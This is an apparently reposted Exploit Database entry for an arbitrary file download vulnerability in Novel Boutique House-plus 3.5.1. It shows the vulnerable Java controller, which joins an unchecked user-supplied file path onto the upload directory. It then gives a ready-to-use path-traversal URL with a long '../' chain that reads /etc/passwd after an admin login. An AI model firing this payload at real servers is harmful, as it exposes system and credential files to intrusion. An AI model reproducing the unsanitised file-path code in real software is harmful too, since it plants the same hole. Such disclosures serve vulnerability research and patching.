Novel Boutique House-plus 3.5.1 – Arbitrary File Download

• Exploit Database
• 20 阅读

• 作者： tuyiqiang
  日期： 2021-03-29
• 类别：

  • webapps
  平台：

  • java
• 来源：https://www.exploit-db.com/exploits/49724/

• # Exploit Title: Novel Boutique House-plus 3.5.1 - Arbitrary File Download
  # Date: 27/03/2021
  # Exploit Author: tuyiqiang
  # Vendor Homepage: https://xiongxyang.gitee.io/
  # Software Link: https://gitee.com/novel_dev_team/novel-plus,https://github.com/201206030/novel-plus
  # Version: all
  # Tested on: linux
  
  Vulnerable code:
  
  com/java2nb/common/controller/FileController.java
  
  @RequestMapping(value = "/download")
  public void fileDownload(String filePath,String fileName, HttpServletResponse resp) throws Exception {
  String realFilePath = jnConfig.getUploadPath() + filePath;
  InputStream in = new FileInputStream(realFilePath);
  fileName = URLEncoder.encode(fileName, "UTF-8");
  resp.setHeader("Content-Disposition", "attachment;filename=" + fileName);
  
  resp.setContentLength(in.available());
  
  OutputStream out = resp.getOutputStream();
  byte[] b = new byte[1024];
  int len = 0;
  while ((len = in.read(b)) != -1) {
   out.write(b, 0, len);
  }
  out.flush();
  out.close();
  in.close();
  }
  
  
  Guide:
  
  1. Log in to background management
  2. http://xxxx/common/sysFile/download?filePath=../../../../../../../../../../../../../../../../../etc/passwd&fileName=passwd